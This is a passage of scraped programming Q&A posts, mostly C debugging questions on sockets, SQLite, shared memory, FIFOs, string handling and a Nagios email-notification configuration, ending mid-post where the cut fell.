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• Will a polled event system cause lag for a server?

  - by Milo

  I'm using a library called ENet. It is a reliable UDP library. The way it works is a polled event system like this: ENetEvent event; /* Wait up to 1000 milliseconds for an event. */ while (enet_host_service (client, & event, 1000) > 0) { switch (event.type) { case ENET_EVENT_TYPE_CONNECT: printf ("A new client connected from %x:%u.\n", event.peer -> address.host, event.peer -> address.port); /* Store any relevant client information here. */ event.peer -> data = "Client information"; break; case ENET_EVENT_TYPE_RECEIVE: printf ("A packet of length %u containing %s was received from %s on channel %u.\n", event.packet -> dataLength, event.packet -> data, event.peer -> data, event.channelID); /* Clean up the packet now that we're done using it. */ enet_packet_destroy (event.packet); break; case ENET_EVENT_TYPE_DISCONNECT: printf ("%s disconected.\n", event.peer -> data); /* Reset the peer's client information. */ event.peer -> data = NULL; } } It waits up to 1000 milliseconds for an event. If I'm hosting say 75 event driven card games and a lobby on the same thread as this code, will it cause any problems. If my understanding is correct, the process will simply sleep until there is an event, when there is one, it will process the event then come back here where potentially 5 or so events have queued up since so enet_host_services would return right away and not cause lag. I have been advised not to use multiple threads, will that be alright like this? Thanks

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• Find non-ascii characters from a UTF-8 string

  - by user10607

  I need to find the non-ASCII characters from a UTF-8 string. my understanding: UTF-8 is a superset of character encoding in which 0-127 are ascii characters. So if in a UTF-8 string , a characters value is Not between 0-127, then it is not a ascii character , right? Please correct me if i'm wrong here. On the above understanding i have written following code in C : Note: I'm using the Ubuntu gcc compiler to run C code utf-string is xvab c long i; char arr[] = "xvab c"; printf("length : %lu \n", sizeof(arr)); for(i=0; i<sizeof(arr); i++){ char ch = arr[i]; if (isascii(ch)) printf("Ascii character %c\n", ch); else printf("Not ascii character %c\n", ch); } Which prints the output like: length : 9 Ascii character x Not ascii character Not ascii character ? Not ascii character ? Ascii character a Ascii character b Ascii character Ascii character c Ascii character To naked eye length of xvab c seems to be 6, but in code it is coming as 9 ? Correct answer for the xvab c is 1 ...i.e it has only 1 non-ascii character , but in above output it is coming as 3 (times Not ascii character). How can i find the non-ascii character from UTF-8 string, correctly. Please guide on the subject.

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• Java Program Compilaton on Windows [closed]

  - by Mc Elroy

  I am trying to compile my program on the command line on windows using the java command and it says: Error: could not find or load main class or addition class It is for a program for adding two integers. I don't understand how to resolve the problem since I defined the static main class in my source code here is it: //Filename:addition.java //Usage: this program adds two numbers and displays their sum. //Author: Nyah Check, Developer @ Ink Corp.. //Licence: No warranty following the GNU Public licence import java.util.Scanner; //this imports the scanner class. public class addition { public static void main(String[] args) { Scanner input = new Scanner(System.in);//this creates scanners instance to take input from the input. int input1, input2, sum; System.out.printf("\nEnter First Integer: "); input1 = input.nextInt(); System.out.printf("\nEnter Second Integer: "); input2 = input.nextInt(); sum = input1 + input2; System.out.printf("\nThe Sum is: %d", sum); } }//This ends the class definition

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• a c++ program for task scheduling [closed]

  - by scheduling

  This is the code which I made but I am not able to correct the mistake in the code. Please correct the mistake in my code. #include<unistd.h> #include<stdio.h> #include<stdlib.h> #include<time.h> #include<string.h> int main() { char *timetoken; char currtime[7]; char schedtime[7]; int i; struct tm *localtimeptr; strcpy(schedtime,"15:25:00"); while(6!=9) { time_t lt; sleep(1); lt = time(NULL); localtimeptr = localtime(<); timetoken=strtok(asctime(localtimeptr)," "); for(i=1;i<5;i++) timetoken=strtok('\0'," "); if(i==3) { strcpy(currtime,timetoken); } } printf("The current time is: %s\n",currtime); printf("We are waiting for: %s\n",schedtime); if(!strcmp(currtime,schedtime)) { printf("Time to do stuff \n"); system("C:\PROJECT X"); } getch(); return 0; }

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• Why I am getting Presentation Error [on hold]

  - by user105697

  Below is my code. When I submit it in UVA they are giving me Presentation error. I want to know the reason. I have tried all possible ways. In my code I use 2D-array to store each word of a sentence. I also want to know the reason for giving presentation error. #include<stdio.h> #include<string.h> int main() { char a[10000],ar[100][10000]; int i,j,k,m,n,l,len[10000],c; freopen("input.txt","r",stdin); while(gets(a)) { k=0; i=0; c=0; for(j=0; ; ++k) { if(a[k]==' ' || a[k]=='\0') { ar[i][j]='\0'; len[i]=c; if(a[k]=='\0') break; i++; j=0; c=0; } else { ar[i][j]=a[k]; c++; j++; } } for(m=0; m<=i; m++) { for(n=(len[m]-1); n>=0; n--) { printf("%c",ar[m][n]); } printf(" "); } printf("\n"); } return 0; }

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• a c++ code for scheduling tasks [closed]

  - by scheduling

  This code has no errors but then when i execute it, there is no output and the program automatically shuts down saying the program has stopped working. #include<unistd.h> #include<stdio.h> #include<stdlib.h> #include<time.h> #include<string.h> int main() { char *timetoken; char currtime[7]; char schedtime[7]; int i; struct tm *localtimeptr; strcpy(schedtime,"15:25:00"); while(6!=9) { time_t lt; sleep(1); lt = time(NULL); localtimeptr = localtime(lt); timetoken=strtok(asctime(localtimeptr)," "); for(i=1;i<5;i++) timetoken=strtok('\0'," "); if(i==3) { strcpy(currtime,timetoken); } } printf("The current time is: %s\n",currtime); printf("We are waiting for: %s\n",schedtime); if(!strcmp(currtime,schedtime)) { printf("Time to do stuff \n"); system("C:\PROJECT X"); } getch(); return 0; }

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• Problem in retrieving the ini file through web page

  - by MalarN

  Hi All, I am using an .ini file to store some values and retrieve values from it using the iniparser. When I give (hardcode) the query and retrive the value through the command line, I am able to retrive the ini file and do some operation. But when I pass the query through http, then I am getting an error (file not found), i.e., the ini file couldn't be loaded. Command line : int main(void) { printf("Content-type: text/html; charset=utf-8\n\n"); char* data = "/cgi-bin/set.cgi?pname=x&value=700&url=http://IP/home.html"; //perform some operation } Through http: .html function SetValue(id) { var val; var URL = window.location.href; if(id =="set") { document.location = "/cgi-bin/set.cgi?pname="+rwparams+"&value="+val+"&url="+URL; } } .c int * Value(char* pname) { dictionary * ini ; char *key1 = NULL; char *key2 =NULL; int i =0; int val; ini = iniparser_load("file.ini"); if(ini != NULL) { //key for fetching the value key1 = (char*)malloc(sizeof(char)*50); if(key1 != NULL) { strcpy(key1,"ValueList:"); key2 = (char*)malloc(sizeof(char)*50); if(key2 != NULL) { strcpy(key2,pname); strcat(key1,key2); val = iniparser_getint(ini, key1, -1); if(-1 == val || 0 > val) { return 0; } } else { //error free(key1); return; } } else { printf("ERROR : Memory Allocation Failure "); return; } } else { printf("ERROR : .ini File Missing"); return; } iniparser_freedict(ini); free(key1); free(key2); return (int *)val; } void get_Value(char* pname,char* value) { int result =0; result = Value(pname); printf("Result : %d",result); } int main(void) { printf("Content-type: text/html; charset=utf-8\n\n"); char* data = getenv("QUERY_STRING"); //char* data = "/cgi-bin/set.cgi?pname=x&value=700&url=http://10.50.25.40/home.html"; //Parse to get the values seperately as parameter name, parameter value, url //Calling get_Value method to set the value get_Value(final_para,final_val); } * file.ini * [ValueList] x = 100; y = 70; When the request is sent through html page, I am always getting .ini file missing. If directly the request is sent from C file them it works fine. How to resolve this?

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• Bulk inserts into sqlite db on the iphone...

  - by akaii

  I'm inserting a batch of 100 records, each containing a dictonary containing arbitrarily long HTML strings, and by god, it's slow. On the iphone, the runloop is blocking for several seconds during this transaction. Is my only recourse to use another thread? I'm already using several for acquiring data from HTTP servers, and the sqlite documentation explicitly discourages threading with the database, even though it's supposed to be thread-safe... Is there something I'm doing extremely wrong that if fixed, would drastically reduce the time it takes to complete the whole operation? NSString* statement; statement = @"BEGIN EXCLUSIVE TRANSACTION"; sqlite3_stmt *beginStatement; if (sqlite3_prepare_v2(database, [statement UTF8String], -1, &beginStatement, NULL) != SQLITE_OK) { printf("db error: %s\n", sqlite3_errmsg(database)); return; } if (sqlite3_step(beginStatement) != SQLITE_DONE) { sqlite3_finalize(beginStatement); printf("db error: %s\n", sqlite3_errmsg(database)); return; } NSTimeInterval timestampB = [[NSDate date] timeIntervalSince1970]; statement = @"INSERT OR REPLACE INTO item (hash, tag, owner, timestamp, dictionary) VALUES (?, ?, ?, ?, ?)"; sqlite3_stmt *compiledStatement; if(sqlite3_prepare_v2(database, [statement UTF8String], -1, &compiledStatement, NULL) == SQLITE_OK) { for(int i = 0; i < [items count]; i++){ NSMutableDictionary* item = [items objectAtIndex:i]; NSString* tag = [item objectForKey:@"id"]; NSInteger hash = [[NSString stringWithFormat:@"%@%@", tag, ownerID] hash]; NSInteger timestamp = [[item objectForKey:@"updated"] intValue]; NSData *dictionary = [NSKeyedArchiver archivedDataWithRootObject:item]; sqlite3_bind_int( compiledStatement, 1, hash); sqlite3_bind_text( compiledStatement, 2, [tag UTF8String], -1, SQLITE_TRANSIENT); sqlite3_bind_text( compiledStatement, 3, [ownerID UTF8String], -1, SQLITE_TRANSIENT); sqlite3_bind_int( compiledStatement, 4, timestamp); sqlite3_bind_blob( compiledStatement, 5, [dictionary bytes], [dictionary length], SQLITE_TRANSIENT); while(YES){ NSInteger result = sqlite3_step(compiledStatement); if(result == SQLITE_DONE){ break; } else if(result != SQLITE_BUSY){ printf("db error: %s\n", sqlite3_errmsg(database)); break; } } sqlite3_reset(compiledStatement); } timestampB = [[NSDate date] timeIntervalSince1970] - timestampB; NSLog(@"Insert Time Taken: %f",timestampB); // COMMIT statement = @"COMMIT TRANSACTION"; sqlite3_stmt *commitStatement; if (sqlite3_prepare_v2(database, [statement UTF8String], -1, &commitStatement, NULL) != SQLITE_OK) { printf("db error: %s\n", sqlite3_errmsg(database)); } if (sqlite3_step(commitStatement) != SQLITE_DONE) { printf("db error: %s\n", sqlite3_errmsg(database)); } sqlite3_finalize(beginStatement); sqlite3_finalize(compiledStatement); sqlite3_finalize(commitStatement);

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• function which given a point and a value of the area of a square as input parameter returns four squ

  - by osabri

  in this code i don't understand why teacher used sometimes +value, - value; /******************************************/ // function void returnSquares(POINT point, int value) void returnSquares(POINT point, int value) { SQUARE tabSquares[4]; // table of squares that we are creating int i; // getting points of 4 squares // for first square input point is point C tabSquares[0].pointA.dimX = point.dimX - value; tabSquares[0].pointA.dimY = point.dimY + value; tabSquares[0].pointB.dimX = point.dimX; tabSquares[0].pointB.dimY = point.dimY + value; tabSquares[0].pointC.dimX = point.dimX; tabSquares[0].pointC.dimY = point.dimY; tabSquares[0].pointD.dimX = point.dimX - value; tabSquares[0].pointD.dimY = point.dimY; // for 2nd square input point is point D tabSquares[1].pointA.dimX = point.dimX; tabSquares[1].pointA.dimY = point.dimY + value; tabSquares[1].pointB.dimX = point.dimX + value; tabSquares[1].pointB.dimY = point.dimY + value; tabSquares[1].pointC.dimX = point.dimX + value; tabSquares[1].pointC.dimY = point.dimY; tabSquares[1].pointD.dimX = point.dimX; tabSquares[1].pointD.dimY = point.dimY; // for 3rd square input point is point A tabSquares[2].pointA.dimX = point.dimX; tabSquares[2].pointA.dimY = point.dimY; tabSquares[2].pointB.dimX = point.dimX + value; tabSquares[2].pointB.dimY = point.dimY; tabSquares[2].pointC.dimX = point.dimX + value; tabSquares[2].pointC.dimY = point.dimY - value; tabSquares[2].pointD.dimX = point.dimX; tabSquares[2].pointD.dimY = point.dimY - value; // for 4th square input point is point B tabSquares[3].pointA.dimX = point.dimX - value; tabSquares[3].pointA.dimY = point.dimY; tabSquares[3].pointB.dimX = point.dimX; tabSquares[3].pointB.dimY = point.dimY; tabSquares[3].pointC.dimX = point.dimX; tabSquares[3].pointC.dimY = point.dimY - value; tabSquares[3].pointD.dimX = point.dimX - value; tabSquares[3].pointD.dimY = point.dimY - value; for (i=0; i<4; i++) { printf("Square number %d\n",i); // now we print parameters of each point in current Square printf("point A x= %0.2f y= %0.2f\n",tabSquares[i].pointA.dimX,tabSquares[i].pointA.dimY); printf("point B x= %0.2f y= %0.2f\n",tabSquares[i].pointB.dimX,tabSquares[i].pointB.dimY); printf("point C x= %0.2f y= %0.2f\n",tabSquares[i].pointC.dimX,tabSquares[i].pointC.dimY); printf("point D x= %0.2f y= %0.2f\n",tabSquares[i].pointD.dimX,tabSquares[i].pointD.dimY); } }

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• Why no switch on pointers?

  - by meeselet

  For instance: #include <stdio.h> void why_cant_we_switch_him(void *ptr) { switch (ptr) { case NULL: printf("NULL!\n"); break; default: printf("%p!\n", ptr); break; } } int main(void) { void *foo = "toast"; why_cant_we_switch_him(foo); return 0; } gcc test.c -o test test.c: In function 'why_cant_we_switch_him': test.c:5: error: switch quantity not an integer test.c:6: error: pointers are not permitted as case values Just curious. Is this a technical limitation? EDIT People seem to think there is only one constant pointer expression. Is that is really true, though? For instance, here is a common paradigm in Objective-C (it is really only C aside from NSString, id and nil, which are merely a pointers, so it is still relevant — I just wanted to point out that there is, in fact, a common use for it, despite this being only a technical question): #include <stdio.h> #include <Foundation/Foundation.h> static NSString * const kMyConstantObject = @"Foo"; void why_cant_we_switch_him(id ptr) { switch (ptr) { case kMyConstantObject: // (Note that we are comparing pointers, not string values.) printf("We found him!\n"); break; case nil: printf("He appears to be nil (or NULL, whichever you prefer).\n"); break; default: printf("%p!\n", ptr); break; } } int main(void) { NSString *foo = @"toast"; why_cant_we_switch_him(foo); foo = kMyConstantObject; why_cant_we_switch_him(foo); return 0; } gcc test.c -o test -framework Foundation test.c: In function 'why_cant_we_switch_him': test.c:5: error: switch quantity not an integer test.c:6: error: pointers are not permitted as case values It appears that the reason is that switch only allows integral values (as the compiler warning said). So I suppose a better question would be to ask why this is the case? (though it is probably too late now.)

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• Basic shared memory program in C

  - by nicopuri

  Hi, I want to make a basic chat application in C using Shared memory. I am working in Linux. The application consist in writing the client and the server can read, and if the server write the client can read the message. I tried to do this, but I can't achieve the communication between client and server. The code is the following: Server.c int main(int argc, char **argv) { char *msg; static char buf[SIZE]; int n; msg = getmem(); memset(msg, 0, SIZE); initmutex(); while ( true ) { if( (n = read(0, buf, sizeof buf)) 0 ) { enter(); sprintf(msg, "%.*s", n, buf); printf("Servidor escribe: %s", msg); leave(); }else{ enter(); if ( strcmp(buf, msg) ) { printf("Servidor lee: %s", msg); strcpy(buf, msg); } leave(); sleep(1); } } return 0; } Client.c int main(int argc, char **argv) { char *msg; static char buf[SIZE-1]; int n; msg = getmem(); initmutex(); while(true) { if ( (n = read(0, buf, sizeof buf)) 0 ) { enter(); sprintf(msg, "%.*s", n, buf); printf("Cliente escribe: %s", msg); leave(); }else{ enter(); if ( strcmp(buf, msg) ) { printf("Cliente lee: %s", msg); strcpy(buf, msg); } leave(); sleep(1); } } printf("Cliente termina\n"); return 0; } The shared memory module is the folowing: #include "common.h" void fatal(char *s) { perror(s); exit(1); } char * getmem(void) { int fd; char *mem; if ( (fd = shm_open("/message", O_RDWR|O_CREAT, 0666)) == -1 ) fatal("sh_open"); ftruncate(fd, SIZE); if ( !(mem = mmap(NULL, SIZE, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0)) ) fatal("mmap"); close(fd); return mem; } static sem_t *sd; void initmutex(void) { if ( !(sd = sem_open("/mutex", O_RDWR|O_CREAT, 0666, 1)) ) fatal("sem_open"); } void enter(void) { sem_wait(sd); } void leave(void) { sem_post(sd); }

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• problem with fifos linux

  - by nunos

  I am having problem debugging why n_bytes in read_from_fifo function in client.c doesn't correspond to the value written to the fifo. It should only write 25 bytes but it tries to read a lot more (1836020505 bytes (!) to be exact). Any idea why this is happening? server.c: #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <fcntl.h> #include <sys/wait.h> #include <signal.h> #include <pthread.h> #include <sys/stat.h> typedef enum { false, true } bool; //first read the int with the number of bytes the data will have //then read that number of bytes bool read_from_fifo(int fd, char* var) { int n_bytes; if (read(fd, &n_bytes, sizeof(int))) { printf("going to read %d bytes\n", n_bytes); if (read(fd, var, n_bytes)) printf("read var\n"); else { printf("error in read var. errno: %d\n", errno); exit(-1); } } return true; } int main() { mkfifo("/tmp/foo", 0660); int fd = open("/tmp/foo", O_RDONLY); char var[100]; read_from_fifo(fd, var); printf("var: %s\n", var); return 0; } client.c: #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <fcntl.h> typedef enum { false, true } bool; //first write to fd a int with the number of bytes that will be written afterwards bool write_to_fifo(int fd, char* data) { int n_bytes = (strlen(data)) * sizeof(char); printf("going to write %d bytes\n", n_bytes); if (write(fd, &n_bytes, sizeof(int) != -1)) if (write(fd, data, n_bytes) != -1) return true; return false; } int main() { int fd = open("/tmp/foo", O_WRONLY); char data[] = "some random string abcdef"; write_to_fifo(fd, data); return 0; } Help is greatly appreciated. Thanks in advance.

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• Monitoring UDP socket in glib(mm) eats up CPU time

  - by Gyorgy Szekely

  Hi, I have a GTKmm Windows application (built with MinGW) that receives UDP packets (no sending). The socket is native winsock and I use glibmm IOChannel to connect it to the application main loop. The socket is read with recvfrom. My problem is: this setup eats 25% percent CPU time on a 3GHz workstation. Can somebody tell me why? The application is idle in this case, and if I remove the UDP code, CPU usage drops down to almost zero. As the application has to perform some CPU intensive tasks, I could image better ways to spend that 25% Here are some code excerpts: (sorry for the printf's ;) ) /* bind */ void UDPInterface::bindToPort(unsigned short port) { struct sockaddr_in target; WSADATA wsaData; target.sin_family = AF_INET; target.sin_port = htons(port); target.sin_addr.s_addr = 0; if ( WSAStartup ( 0x0202, &wsaData ) ) { printf("WSAStartup failed!\n"); exit(0); // :) WSACleanup(); } sock = socket( AF_INET, SOCK_DGRAM, 0 ); if (sock == INVALID_SOCKET) { printf("invalid socket!\n"); exit(0); } if (bind(sock,(struct sockaddr*) &target, sizeof(struct sockaddr_in) ) == SOCKET_ERROR) { printf("failed to bind to port!\n"); exit(0); } printf("[UDPInterface::bindToPort] listening on port %i\n", port); } /* read */ bool UDPInterface::UDPEvent(Glib::IOCondition io_condition) { recvfrom(sock, (char*)buf, BUF_SIZE*4, 0, NULL, NULL); /* process packet... */ } /* glibmm connect */ Glib::RefPtr channel = Glib::IOChannel::create_from_win32_socket(udp.sock); Glib::signal_io().connect( sigc::mem_fun(udp, &UDPInterface::UDPEvent), channel, Glib::IO_IN ); I've read here in some other question, and also in glib docs (g_io_channel_win32_new_socket()) that the socket is put into nonblocking mode, and it's "a side-effect of the implementation and unavoidable". Does this explain the CPU effect, it's not clear to me? Whether or not I use glib to access the socket or call recvfrom() directly doesn't seem to make much difference, since CPU is used up before any packet arrives and the read handler gets invoked. Also glibmm docs state that it's ok to call recvfrom() even if the socket is polled (Glib::IOChannel::create_from_win32_socket()) I've tried compiling the program with -pg and created a per function cpu usage report with gprof. This wasn't usefull because the time is not spent in my program, but in some external glib/glibmm dll.

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• Split string in C every white space

  - by redsolja

  I want to write a program in C that displays each word of a whole sentence (taken as input) at a seperate line. This is what i have done so far: void manipulate(char *buffer); int get_words(char *buffer); int main(){ char buff[100]; printf("sizeof %d\nstrlen %d\n", sizeof(buff), strlen(buff)); // Debugging reasons bzero(buff, sizeof(buff)); printf("Give me the text:\n"); fgets(buff, sizeof(buff), stdin); manipulate(buff); return 0; } int get_words(char *buffer){ // Function that gets the word count, by counting the spaces. int count; int wordcount = 0; char ch; for (count = 0; count < strlen(buffer); count ++){ ch = buffer[count]; if((isblank(ch)) || (buffer[count] == '\0')){ // if the character is blank, or null byte add 1 to the wordcounter wordcount += 1; } } printf("%d\n\n", wordcount); return wordcount; } void manipulate(char *buffer){ int words = get_words(buffer); char *newbuff[words]; char *ptr; int count = 0; int count2 = 0; char ch = '\n'; ptr = buffer; bzero(newbuff, sizeof(newbuff)); for (count = 0; count < 100; count ++){ ch = buffer[count]; if (isblank(ch) || buffer[count] == '\0'){ buffer[count] = '\0'; if((newbuff[count2] = (char *)malloc(strlen(buffer))) == NULL) { printf("MALLOC ERROR!\n"); exit(-1); } strcpy(newbuff[count2], ptr); printf("\n%s\n",newbuff[count2]); ptr = &buffer[count + 1]; count2 ++; } } } Although the output is what i want, i have really many black spaces after the final word displayed, and the malloc() returns NULL so the MALLOC ERROR! is displayed in the end. I can understand that there is a mistake at my malloc() implementation but i do not know what it is. Is there another more elegant - generally better way to do it? Thanks in advance.

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• Is there any memory leak in the normal routine of sqlite3_*()?

  - by reer

  A normal routine of sqlite3_prepare_v2() + sqlite3_step() + sqlite3_finalize() could contain leak. It sound ridiculous. But the test code seems to say it. Or I used the sqlite3_*() wrongly. Appreciate for any reply. __code________________________ include include // for usleep() include int multi_write (int j); sqlite3 *db = NULL; int main (void) { int ret = -1; ret = sqlite3_open("test.db", &db); ret = sqlite3_exec(db,"CREATE TABLE data_his (id INTEGER PRIMARY KEY, d1 CHAR(16))", NULL,NULL,NULL); usleep (100000); int j=0; while (1) { multi_write (j++); usleep (2000000); printf (" ----------- %d\n", j); } ret = sqlite3_close (db); return 0; } int multi_write (int j) { int ret = -1; char *sql_f = "INSERT OR REPLACE INTO data_his VALUES (%d, %Q)"; char *sql = NULL; sqlite3_stmt *p_stmt = NULL; ret = sqlite3_prepare_v2 (db, "BEGIN TRANSACTION", -1, &p_stmt, NULL); ret = sqlite3_step ( p_stmt ); ret = sqlite3_finalize ( p_stmt ); int i=0; for (i=0; i<100; i++) { sql = sqlite3_mprintf ( sql_f, j*100000 + i, "00000000000068FD"); ret = sqlite3_prepare_v2 (db, sql, -1, &p_stmt, NULL ); sqlite3_free ( sql ); //printf ("sqlite3_prepare_v2(): %d, %s\n", ret, sqlite3_errmsg (db)); ret = sqlite3_step ( p_stmt ); //printf ("sqlite3_step(): %d, %s\n", ret, sqlite3_errmsg (db)); ret = sqlite3_finalize ( p_stmt ); //printf ("sqlite3_finalize(): %d, %s\n\n", ret, sqlite3_errmsg (db)); } ret = sqlite3_prepare_v2 (db, "COMMIT TRANSACTION", -1, &p_stmt, NULL ); ret = sqlite3_step ( p_stmt ); ret = sqlite3_finalize ( p_stmt ); return 0; } __result________________________ And I watch the the process's run by top. At first, the memory statistics is: PID PPID USER STAT VSZ %MEM %CPU COMMAND 17731 15488 root S 1104 5% 7% ./sqlite3multiwrite When the printf() in while(1){} of main() prints the 150, the memory statistics is: PID PPID USER STAT VSZ %MEM %CPU COMMAND 17731 15488 root S 1552 5% 7% ./sqlite3multiwrite It sounds that after 150 for-cycles, the memory used by sqlite3multiwrite increase from 1104KB to 1552KB. What does it mean? memory leak or other thing?

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• Returning and printing string array index in C

  - by user1781966

  I've got a function that searches through a list of names and I'm trying to get the search function to return the index of the array back to the main function and print out the starting location of the name found. Everything I've tried up to this point either crashes the program or results in strange output. Here is my search function: #include<stdio.h> #include<conio.h> #include<string.h> #define MAX_NAMELENGTH 10 #define MAX_NAMES 5 void initialize(char names[MAX_NAMES][MAX_NAMELENGTH], int Number_entrys, int i); int search(char names[MAX_NAMES][MAX_NAMELENGTH], int Number_entrys); int main() { char names[MAX_NAMES][MAX_NAMELENGTH]; int i, Number_entrys,search_result,x; printf("How many names would you like to enter to the list?\n"); scanf("%d",&Number_entrys); initialize(names,Number_entrys,i); search_result= search(names,Number_entrys); if (search_result==-1){ printf("Found no names.\n"); }else { printf("%s",search_result); } getch(); return 0; } void initialize(char names[MAX_NAMES][MAX_NAMELENGTH],int Number_entrys,int i) { if(Number_entrys>MAX_NAMES){ printf("Please choose a smaller entry\n"); }else{ for (i=0; i<Number_entrys;i++){ scanf("%s",names[i]); } } } int search(char names[MAX_NAMES][MAX_NAMELENGTH],int Number_entrys) { int x; char new_name[MAX_NAMELENGTH]; printf("Now enter a name in which you would like to search the list for\n"); scanf("%s",new_name); for(x = 0; x < Number_entrys; x++) { if ( strcmp( new_name, names[x] ) == 0 ) { return x; } } return -1; } Like I mentioned before I have tried a lot of different ways to try and fix this issue, but I cant seem to get them to work. Printing X like what I have above is just the last thing I tried, and therefor know that it doesn't work. Any suggestions on the simplest way to do this?

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• i don't receive mail notification...Nagios Core 4

  - by alessio

  I have a problem with automatically mail notification in Nagios Core 4 installed on ubuntu 12 .04 lts server... i have tried to send mail with nagios user and root user with the command: echo "test" | mail -s "test mail" [email protected] and i received mail correctly... but i don't receive any automatically mail notification... i don't know how can i do to resolve this issue! :( these are my configuration files (commands.cfg, contacts.cfg, nagios.log, mail.log): commands.cfg (the path /usr/bin/mail is the right path): # 'notify-host-by-email' command definition define command{ command_name notify-host-by-email command_line /usr/bin/printf "%b" "***** Nagios *****\n\nNotification Type: $NOTIFICATIONTYPE$\nHost: $HOSTNAME$\nState: $HOSTSTATE$\nAddress: $HOSTADDRESS$\nInfo: $HOSTOUTPUT$\n\nDate/Time: $LONGDATETIME$\n" | /usr/bin/mail -s "** $NOTIFICATIONTYPE$ Host Alert: $HOSTNAME$ is $HOSTSTATE$ **" $CONTACTEMAIL$ } # 'notify-service-by-email' command definition define command{ command_name notify-service-by-email command_line /usr/bin/printf "%b" "***** Nagios *****\n\nNotification Type: $NOTIFICATIONTYPE$\n\nService: $SERVICEDESC$\nHost: $HOSTALIAS$\nAddress: $HOSTADDRESS$\nState: $SERVICESTATE$\n\nDate/Time: $LONGDATETIME$\n\nAdditional Info:\n\n$SERVICEOUTPUT$\n" | /usr/bin/mail -s "** $NOTIFICATIONTYPE$ Service Alert: $HOSTALIAS$/$SERVICEDESC$ is $SERVICESTATE$ **" $CONTACTEMAIL$ } # 'process-host-perfdata' command definition define command{ command_name process-host-perfdata command_line /usr/bin/printf "%b" "$LASTHOSTCHECK$\t$HOSTNAME$\t$HOSTSTATE$\t$HOSTATTEMPT$\t$HOSTSTATETYPE$\t$HOSTEXECUTIONTIME$\t$HOSTOUTPUT$\t$HOSTPERFDATA$\n" >> /usr/local/nagios/var/host-perfdata.out } # 'process-service-perfdata' command definition define command{ command_name process-service-perfdata command_line /usr/bin/printf "%b" "$LASTSERVICECHECK$\t$HOSTNAME$\t$SERVICEDESC$\t$SERVICESTATE$\t$SERVICEATTEMPT$\t$SERVICESTATETYPE$\t$SERVICEEXECUTIONTIME$\t$SERVICELATENCY$\t$SERVICEOUTPUT$\t$SERVICEPERFDATA$\n" >> /usr/local/nagios/var/service-perfdata.out } contacts.cfg: define contact{ contact_name supporto alias Supporto Clienti DEA service_notification_period 24x7 host_notification_period 24x7 service_notification_options w,u,c,r host_notification_options d,r service_notification_commands notify-service-by-email host_notification_commands notify-host-by-email email [email protected] } define contactgroup{ contactgroup_name admins alias Nagios Administrators members supporto } nagios.log: [1401871412] SERVICE ALERT: fileserver;Current Users;OK;SOFT;2;USERS OK - 1 users currently logged in [1401871953] SERVICE ALERT: backups;Nagios Status;WARNING;SOFT;1;NAGIOS WARNING: 36 processes, status log updated 541 seconds ago [1401872133] SERVICE ALERT: backups;Nagios Status;OK;SOFT;2;NAGIOS OK: 36 processes, status log updated 180 seconds ago [1401872321] SERVICE ALERT: posta;Swap Usage;CRITICAL;SOFT;1;CRITICAL - Plugin timed out after 10 seconds [1401872322] SERVICE ALERT: fileserver;Current Users;CRITICAL;SOFT;1;CRITICAL - Plugin timed out after 10 seconds [1401872420] SERVICE ALERT: archivio;Disk Space;CRITICAL;SOFT;1;CRITICAL - Plugin timed out after 10 seconds [1401872492] SERVICE ALERT: fileserver;Current Users;OK;SOFT;2;USERS OK - 1 users currently logged in [1401872492] SERVICE ALERT: posta;Swap Usage;OK;SOFT;2;SWAP OK: 100% free (1984 MB out of 1984 MB) [1401872590] SERVICE ALERT: archivio;Disk Space;OK;SOFT;2;DISK OK [1401872931] Auto-save of retention data completed successfully. [1401873333] SERVICE ALERT: backups;Nagios Status;WARNING;SOFT;1;NAGIOS WARNING: 36 processes, status log updated 402 seconds ago [1401873513] SERVICE ALERT: backups;Nagios Status;OK;SOFT;2;NAGIOS OK: 36 processes, status log updated 180 seconds ago mail.log (i think that the problem is here but i don't know how to resolve it): Jun 4 10:00:01 backups sm-msp-queue[6109]: My unqualified host name (backups) unknown; sleeping for retry Jun 4 10:01:01 backups sm-msp-queue[6109]: unable to qualify my own domain name (backups) -- using short name Jun 4 10:20:01 backups sm-msp-queue[7247]: My unqualified host name (backups) unknown; sleeping for retry Jun 4 10:21:01 backups sm-msp-queue[7247]: unable to qualify my own domain name (backups) -- using short name Jun 4 10:40:01 backups sm-msp-queue[8327]: My unqualified host name (backups) unknown; sleeping for retry Jun 4 10:41:01 backups sm-msp-queue[8327]: unable to qualify my own domain name (backups) -- using short name Jun 4 11:00:01 backups sm-msp-queue[9549]: My unqualified host name (backups) unknown; sleeping for retry Jun 4 11:01:01 backups sm-msp-queue[9549]: unable to qualify my own domain name (backups) -- using short name Jun 4 11:20:01 backups sm-msp-queue[10678]: My unqualified host name (backups) unknown; sleeping for retry Jun 4 11:21:01 backups sm-msp-queue[10678]: unable to qualify my own domain name (backups) -- using short name i'm at the last step and i want to finish this Nagios Core! :) Any help be appreciate!:) host definition (this host have the disk almost full and it is in hard state but non notification) : define host{ use generic-host ; Name of host template to use host_name posta alias Server Posta ESA address 10.10.2.102 parents xen1, xen2 icon_image redhat.png statusmap_image redhat.gd2 } service definition: define service{ use generic-service host_name xen1, maestro, xen2, posta, nas002, serv2, esasrvmi02, esaubuntumi service_description Disk Space check_command ssh_all_disks!10%!5% } Notification is allowed for the contact definition you gave, but is it also allowed at the the service level ? sorry but i don't understand this thing! :(

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• How to use correctly the comments in C/++

  - by Lucio

  I'm learning to program in C and in my stage, the best form to use correctly the comments is writing good comments from the beginning. As the comments are not just for that one understands better the code but others too, I want to know the views of all of you to reach a consensus. So what I want is that the most experienced users edit the following code as you please. (If it's unnecessary, delete it; If it's wrong, correct it; If needed, add more) Thus there'll be multiple answers with different syntax and the responses with the most votes will be taken as referring when commenting. The code to copy, paste and edit to your pleasure is: (And I remark again, just import the comments, not the code) /* This programs find 1 number in 1 file. The file is binary type and has integers in series. The number is integer type and it's entered from the keyboard. When finished the program, a poster will show the results: Saying if the number is in the file or not. */ #include <stdio.h> //FUNCTION 1 //Open file 'path' and closes it. void openf(char path[]) { int num; //Read from Keyboard a Number and it save it into 'num' var printf("Ready for read number.\n\nNumber --> "); fflush(stdin); scanf("%d",&num); //Open file 'path' in READ mode FILE *fvar; fvar=fopen(path,"rb"); //IF error happens when open file, exit of function if (fvar==NULL) { printf("ERROR while open file %s in read mode.",path); exit(1); } /*Verify the result of 